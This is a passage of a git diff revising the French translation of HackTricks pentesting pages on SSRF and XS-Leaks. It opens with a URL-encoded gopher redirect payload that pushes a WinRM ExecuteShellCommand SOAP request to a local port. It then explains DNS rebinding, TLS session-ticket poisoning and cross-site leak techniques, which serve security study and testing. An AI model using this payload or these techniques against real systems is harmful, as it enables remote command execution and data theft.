%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%6d%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20 +self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20 ```html self.end_headers() @@ -203,7 +203,7 @@ return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%4 if __name__ == "__main__": app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443) ``` -
+
\ Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\ @@ -211,21 +211,21 @@ Accédez dès aujourd'hui : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} -## Contournement de CORS/SOP avec DNS Rebidding +## Contournement CORS/SOP avec rebinding DNS -Si vous rencontrez des **problèmes** pour **exfiltrer du contenu depuis une IP locale** en raison de **CORS/SOP**, **DNS Rebidding** peut être utilisé pour contourner cette limitation : +Si vous rencontrez des **problèmes** pour **exfiltrer du contenu depuis une IP locale** en raison de **CORS/SOP**, le **rebinding DNS** peut être utilisé pour contourner cette limitation : {% content-ref url="../cors-bypass.md" %} [cors-bypass.md](../cors-bypass.md) {% endcontent-ref %} -### DNS Rebidding Automatisé +### Rebinding DNS automatisé -[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) est un outil pour effectuer des attaques de [rebinding DNS](https://en.wikipedia.org/wiki/DNS\_rebinding). Il inclut les composants nécessaires pour réattribuer l'adresse IP du serveur d'attaque au nom DNS de la machine cible et pour servir des charges utiles d'attaque pour exploiter les logiciels vulnérables sur la machine cible. +[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) est un outil pour effectuer des attaques de [rebinding DNS](https://en.wikipedia.org/wiki/DNS\_rebinding). Il inclut les composants nécessaires pour réaffecter l'adresse IP du serveur d'attaque au nom DNS de la machine cible et pour servir des charges utiles d'attaque pour exploiter les logiciels vulnérables sur la machine cible. Consultez également le **serveur en cours d'exécution publiquement sur** [**http://rebind.it/singularity.html**](http://rebind.it/singularity.html) -## DNS Rebidding + ID de session TLS/Ticket de session +## Rebinding DNS + ID de session TLS/Ticket de session Exigences : @@ -237,24 +237,24 @@ Attaque : 1. Demandez à l'utilisateur/robot d'accéder à un **domaine** contrôlé par l'**attaquant** 2. Le **TTL** du **DNS** est de **0** sec (donc la victime vérifiera bientôt l'IP du domaine à nouveau) -3. Une **connexion TLS** est créée entre la victime et le domaine de l'attaquant. L'attaquant introduit la **charge utile à l'intérieur** de l'**ID de session ou du ticket de session**. -4. Le **domaine** commencera une **boucle infinie** de redirections contre **lui-même**. Le but est de faire en sorte que l'utilisateur/robot accède au domaine jusqu'à ce qu'il effectue **à nouveau** une **requête DNS** du domaine. +3. Une **connexion TLS** est créée entre la victime et le domaine de l'attaquant. L'attaquant introduit la **charge utile à l'intérieur** de l'**ID de session ou du Ticket de session**. +4. Le **domaine** démarrera une **boucle infinie** de redirections contre **lui-même**. Le but est de faire en sorte que l'utilisateur/robot accède au domaine jusqu'à ce qu'il effectue **à nouveau** une **requête DNS** du domaine. 5. Dans la requête DNS, une adresse IP **privée** est donnée **maintenant** (127.0.0.1 par exemple) -6. L'utilisateur/robot tentera de **rétablir la connexion TLS** et pour ce faire, il enverra l'ID de **session/Ticket ID** (où la **charge utile** de l'attaquant était contenue). Félicitations, vous avez réussi à demander à l'utilisateur/robot de s'attaquer lui-même. +6. L'utilisateur/robot tentera de **rétablir la connexion TLS** et pour ce faire, il enverra l'ID de **Session/Ticket** (où la **charge utile** de l'attaquant était contenue). Félicitations, vous avez réussi à demander à l'utilisateur/robot de s'attaquer lui-même. Notez que lors de cette attaque, si vous souhaitez attaquer localhost:11211 (_memcache_), vous devez faire en sorte que la victime établisse la connexion initiale avec www.attacker.com:11211 (le **port doit toujours être le même**).\ Pour **effectuer cette attaque, vous pouvez utiliser l'outil** : [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\ Pour **plus d'informations**, consultez la présentation où cette attaque est expliquée : [https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference) -## SSRF Aveugle +## SSRF aveugle -La différence entre un SSRF aveugle et un SSRF non aveugle est que dans le SSRF aveugle, vous ne pouvez pas voir la réponse de la requête SSRF. Il est donc plus difficile à exploiter car vous ne pourrez exploiter que des vulnérabilités bien connues. +La différence entre un SSRF aveugle et un SSRF non aveugle est que dans le cas du SSRF aveugle, vous ne pouvez pas voir la réponse de la requête SSRF. Il est donc plus difficile à exploiter car vous ne pourrez exploiter que des vulnérabilités bien connues. ### SSRF basé sur le temps En **vérifiant le temps** des réponses du serveur, il pourrait être **possible de savoir si une ressource existe ou non** (il se peut que l'accès à une ressource existante prenne plus de temps que l'accès à une ressource qui n'existe pas) -## Exploitation de SSRF dans le Cloud +## Exploitation SSRF dans le cloud Si vous trouvez une vulnérabilité SSRF sur une machine s'exécutant dans un environnement cloud, vous pourriez obtenir des informations intéressantes sur l'environnement cloud et même des identifiants : @@ -262,9 +262,9 @@ Si vous trouvez une vulnérabilité SSRF sur une machine s'exécutant dans un en [cloud-ssrf.md](cloud-ssrf.md) {% endcontent-ref %} -## Plateformes Vulnérables à SSRF +## Plateformes vulnérables à SSRF -Plusieurs plateformes connues contiennent ou ont contenu des vulnérabilités SSRF, vérifiez-les dans : +Plusieurs plateformes connues contiennent ou ont contenu des vulnérabilités SSRF, vérifiez-les ici : {% content-ref url="ssrf-vulnerable-platforms.md" %} [ssrf-vulnerable-platforms.md](ssrf-vulnerable-platforms.md) @@ -297,7 +297,7 @@ _remote-method-guesser_ est un scanner de vulnérabilité _Java RMI_ qui prend e ### [SSRF Proxy](https://github.com/bcoles/ssrf\_proxy) -SSRF Proxy est un serveur proxy HTTP multi-thread conçu pour faire transiter le trafic HTTP client à travers des serveurs HTTP vulnérables aux attaques de falsification de requêtes côté serveur (SSRF). +SSRF Proxy est un serveur proxy HTTP multi-thread conçu pour acheminer le trafic HTTP client à travers des serveurs HTTP vulnérables aux attaques de falsification de requêtes côté serveur (SSRF). ### Pour s'entraîner @@ -313,17 +313,17 @@ SSRF Proxy est un serveur proxy HTTP multi-thread conçu pour faire transiter le Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! -Autres façons de soutenir HackTricks : +Autres moyens de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez** 💬 le [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Rejoignez** 💬 le **groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. -
+
\ Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\ diff --git a/pentesting-web/xs-search.md b/pentesting-web/xs-search.md index 0584c058f..ec2204401 100644 --- a/pentesting-web/xs-search.md +++ b/pentesting-web/xs-search.md @@ -1,6 +1,6 @@ # XS-Search/XS-Leaks -
+
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\ Accédez-y aujourd'hui : @@ -11,12 +11,12 @@ Accédez-y aujourd'hui : Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge HackTricks AWS)! -Autres façons de soutenir HackTricks : +D'autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. @@ -41,7 +41,7 @@ Plusieurs aspects peuvent être analysés pour différencier les états du Site * **Code d'État** : Distinction entre **divers codes d'état de réponse HTTP** cross-origin, tels que les erreurs serveur, les erreurs client ou les erreurs d'authentification. * **Utilisation de l'API** : Identification de l'**utilisation des API Web** à travers les pages, révélant si une page cross-origin utilise une API Web JavaScript spécifique. * **Redirections** : Détection des navigations vers différentes pages, non seulement les redirections HTTP mais aussi celles déclenchées par JavaScript ou HTML. -* **Contenu de la Page** : Observation des **variations dans le corps de la réponse HTTP** ou dans les sous-ressources de la page, telles que le **nombre de cadres intégrés** ou les disparités de taille dans les images. +* **Contenu de la Page** : Observation des **variations dans le corps de la réponse HTTP** ou dans les sous-ressources de la page, telles que le **nombre de frames intégrées** ou les disparités de taille dans les images. * **En-Tête HTTP** : Noter la présence ou éventuellement la valeur d'un **en-tête de réponse HTTP spécifique**, y compris des en-têtes comme X-Frame-Options, Content-Disposition et Cross-Origin-Resource-Policy. * **Chronométrage** : Noter les disparités de temps cohérentes entre les deux états. @@ -50,49 +50,48 @@ Plusieurs aspects peuvent être analysés pour différencier les états du Site * **Éléments HTML** : HTML offre divers éléments pour **l'inclusion de ressources cross-origin**, comme les feuilles de style, les images ou les scripts, obligeant le navigateur à demander une ressource non-HTML. Une compilation des éléments HTML potentiels à cet effet peut être trouvée à [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks). * **Cadres** : Des éléments tels que **iframe**, **object** et **embed** peuvent intégrer directement des ressources HTML dans la page de l'attaquant. Si la page **manque de protection de cadrage**, JavaScript peut accéder à l'objet window de la ressource encadrée via la propriété contentWindow. * **Pop-ups** : La méthode **`window.open`** ouvre une ressource dans un nouvel onglet ou une nouvelle fenêtre, fournissant une **poignée de fenêtre** pour que JavaScript interagisse avec les méthodes et propriétés suivant le SOP. Les pop-ups, souvent utilisés dans la connexion unique, contournent les restrictions de cadrage et de cookies d'une ressource cible. Cependant, les navigateurs modernes restreignent la création de pop-ups à certaines actions de l'utilisateur. -* **Requêtes JavaScript** : JavaScript permet des requêtes directes vers des ressources cibles en utilisant des **XMLHttpRequests** ou l'**API Fetch**. Ces méthodes offrent un contrôle précis sur la requête, comme choisir de suivre les redirections HTTP. +* **Requêtes JavaScript** : JavaScript permet des requêtes directes vers des ressources cibles en utilisant des **XMLHttpRequests** ou l'API **Fetch**. Ces méthodes offrent un contrôle précis sur la requête, comme choisir de suivre les redirections HTTP. ### Techniques de Fuite -* **Gestionnaire d'Événements** : Une technique de fuite classique dans les XS-Leaks, où les gestionnaires d'événements comme **onload** et **onerror** fournissent des informations sur le succès ou l'échec du chargement de la ressource. +* **Gestionnaire d'Événements** : Une technique de fuite classique dans les XS-Leaks, où les gestionnaires d'événements tels que **onload** et **onerror** fournissent des informations sur le succès ou l'échec du chargement de la ressource. * **Messages d'Erreur** : Les exceptions JavaScript ou les pages d'erreur spéciales peuvent fournir des informations de fuite soit directement à partir du message d'erreur, soit en différenciant sa présence et son absence. * **Limites Globales** : Les limitations physiques d'un navigateur, comme la capacité mémoire ou d'autres limites de navigateur imposées, peuvent signaler quand un seuil est atteint, servant de technique de fuite. * **État Global** : Les interactions détectables avec les **états globaux des navigateurs** (par exemple, l'interface Historique) peuvent être exploitées. Par exemple, le **nombre d'entrées** dans l'historique d'un navigateur peut fournir des indices sur les pages cross-origin. * **API de Performance** : Cette API fournit des **détails de performance de la page actuelle**, y compris le chronométrage réseau pour le document et les ressources chargées, permettant des inférences sur les ressources demandées. -* **Attributs Lisibles** : Certains attributs HTML sont **lisibles cross-origin** et peuvent être utilisés comme technique de fuite. Par exemple, la propriété `window.frame.length` permet à JavaScript de compter les cadres inclus dans une page Web cross-origin. +* **Attributs Lisibles** : Certains attributs HTML sont **lisibles cross-origin** et peuvent être utilisés comme technique de fuite. Par exemple, la propriété `window.frame.length` permet à JavaScript de compter les frames inclus dans une page Web cross-origin. ## Outil XSinator & Document -XSinator est un outil automatique pour **vérifier les navigateurs contre plusieurs XS-Leaks connus** expliqués dans son document : **[https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf)** +XSinator est un outil automatique pour **vérifier les navigateurs contre plusieurs XS-Leaks connus** expliqués dans son document : [**https://xsinator.com/paper.pdf**](https://xsinator.com/paper.pdf) -Vous pouvez **accéder à l'outil sur [https://xsinator.com/](https://xsinator.com/)** +Vous pouvez **accéder à l'outil sur** [**https://xsinator.com/**](https://xsinator.com/) {% hint style="warning" %} -**XS-Leaks Exclus** : Nous avons dû exclure les XS-Leaks qui reposent sur les **travailleurs de service** car ils interféreraient avec d'autres fuites dans XSinator. De plus, nous avons choisi d'**exclure les XS-Leaks qui reposent sur des erreurs de configuration et des bugs dans une application Web spécifique**. Par exemple, les mauvaises configurations de partage de ressources entre origines (CORS), les fuites de postMessage ou les scripts intersites. De plus, nous avons exclu les XS-Leaks basés sur le temps car ils souffrent souvent d'être lents, bruyants et imprécis. +**XS-Leaks Exclus** : Nous avons dû exclure les XS-Leaks qui reposent sur les **travailleurs de service** car ils interféreraient avec d'autres fuites dans XSinator. De plus, nous avons choisi d'**exclure les XS-Leaks qui reposent sur des erreurs de configuration et des bugs dans une application Web spécifique**. Par exemple, les mauvaises configurations de partage de ressources CrossOrigin (CORS), les fuites de postMessage ou les scripts intersites. De plus, nous avons exclu les XS-Leaks basés sur le temps car ils souffrent souvent d'être lents, bruyants et imprécis. {% endhint %} -
+
\ Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\ Accédez-y aujourd'hui : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +## **Techniques basées sur le timing** -## **Techniques basées sur le temps** +Certains des techniques suivantes vont utiliser le timing comme partie du processus pour détecter les différences dans les états possibles des pages web. Il existe différentes façons de mesurer le temps dans un navigateur web. -Certaines des techniques suivantes vont utiliser le chronométrage comme partie du processus pour détecter les différences dans les états possibles des pages Web. Il existe différentes façons de mesurer le temps dans un navigateur Web. - -**Horloges** : L'API [performance.now()](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) permet aux développeurs d'obtenir des mesures de chronométrage haute résolution.\ -Il existe un nombre considérable d'API que les attaquants peuvent exploiter pour créer des horloges implicites : [API de canal de diffusion](https://developer.mozilla.org/en-US/docs/Web/API/Broadcast\_Channel\_API), [API de canal de message](https://developer.mozilla.org/en-US/docs/Web/API/MessageChannel), [requestAnimationFrame](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame), [setTimeout](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout), animations CSS, et autres.\ +**Horloges**: L'API [performance.now()](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) permet aux développeurs d'obtenir des mesures de timing haute résolution.\ +Il existe un nombre considérable d'API que les attaquants peuvent abuser pour créer des horloges implicites : [Broadcast Channel API](https://developer.mozilla.org/en-US/docs/Web/API/Broadcast_Channel_API), [Message Channel API](https://developer.mozilla.org/en-US/docs/Web/API/MessageChannel), [requestAnimationFrame](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame), [setTimeout](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout), animations CSS, et d'autres.\ Pour plus d'informations : [https://xsleaks.dev/docs/attacks/timing-attacks/clocks](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/). -## Techniques de Gestionnaire d'Événements +## Techniques des gestionnaires d'événements ### Onload/Onerror -* **Méthodes d'Inclusion** : Cadres, Éléments HTML -* **Différence Détectable** : Code d'État +* **Méthodes d'inclusion** : Cadres, Éléments HTML +* **Différence détectable** : Code d'état * **Plus d'informations** : [https://www.usenix.org/conference/usenixsecurity19/presentation/staicu](https://www.usenix.org/conference/usenixsecurity19/presentation/staicu), [https://xsleaks.dev/docs/attacks/error-events/](https://xsleaks.dev/docs/attacks/error-events/) * **Résumé** : si on essaie de charger une ressource, les événements onerror/onload sont déclenchés lorsque la ressource est chargée avec succès/échec, il est possible de déterminer le code d'état. * **Exemple de code** : [https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)](https://xsinator.com/testing.html#Event%20Handler%20Leak%20\(Script\)) @@ -101,20 +100,18 @@ Pour plus d'informations : [https://xsleaks.dev/docs/attacks/timing-attacks/cloc [cookie-bomb-+-onerror-xs-leak.md](xs-search/cookie-bomb-+-onerror-xs-leak.md) {% endcontent-ref %} -L'exemple de code tente de **charger des objets de scripts à partir de JS**, mais **d'autres balises** telles que les objets, les feuilles de style, les images, les audios pourraient également être utilisées. De plus, il est également possible d'injecter directement la **balise** et de déclarer les événements `onload` et `onerror` à l'intérieur de la balise (au lieu de l'injecter depuis JS). +L'exemple de code tente de **charger des objets scripts depuis JS**, mais **d'autres balises** telles que des objets, des feuilles de style, des images, des audios pourraient également être utilisées. De plus, il est également possible d'injecter directement la **balise** et de déclarer les événements `onload` et `onerror` à l'intérieur de la balise (au lieu de l'injecter depuis JS). -Il existe également une version sans script de cette attaque : +Il existe également une version de cette attaque sans script: ```html ``` -Dans ce cas, si `example.com/404` n'est pas trouvé, `attacker.com/?error` sera chargé. - -### Chronométrage de l'événement onload +### Timing de chargement * **Méthodes d'inclusion**: Éléments HTML -* **Différence détectable**: Chronométrage (généralement dû au contenu de la page, au code d'état) +* **Différence détectable**: Timing (généralement due au contenu de la page, au code d'état) * **Plus d'informations**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events) * **Résumé:** L'API [**performance.now()**](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) peut être utilisée pour mesurer le temps nécessaire pour effectuer une requête. Cependant, d'autres horloges pourraient être utilisées, telles que l'API [**PerformanceLongTaskTiming**](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceLongTaskTiming) qui peut identifier les tâches s'exécutant pendant plus de 50 ms. * **Exemple de code**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events) un autre exemple dans: @@ -123,7 +120,7 @@ Dans ce cas, si `example.com/404` n'est pas trouvé, `attacker.com/?error` sera [performance.now-example.md](xs-search/performance.now-example.md) {% endcontent-ref %} -#### Chronométrage de l'événement onload + Tâche lourde forcée +#### Timing de chargement + Tâche lourde forcée Cette technique est similaire à la précédente, mais l'**attaquant** va également **forcer** une action à prendre un **temps significatif** lorsque la **réponse est positive ou négative** et mesurer ce temps. @@ -131,57 +128,57 @@ Cette technique est similaire à la précédente, mais l'**attaquant** va égale [performance.now-+-force-heavy-task.md](xs-search/performance.now-+-force-heavy-task.md) {% endcontent-ref %} -### Chronométrage de l'événement 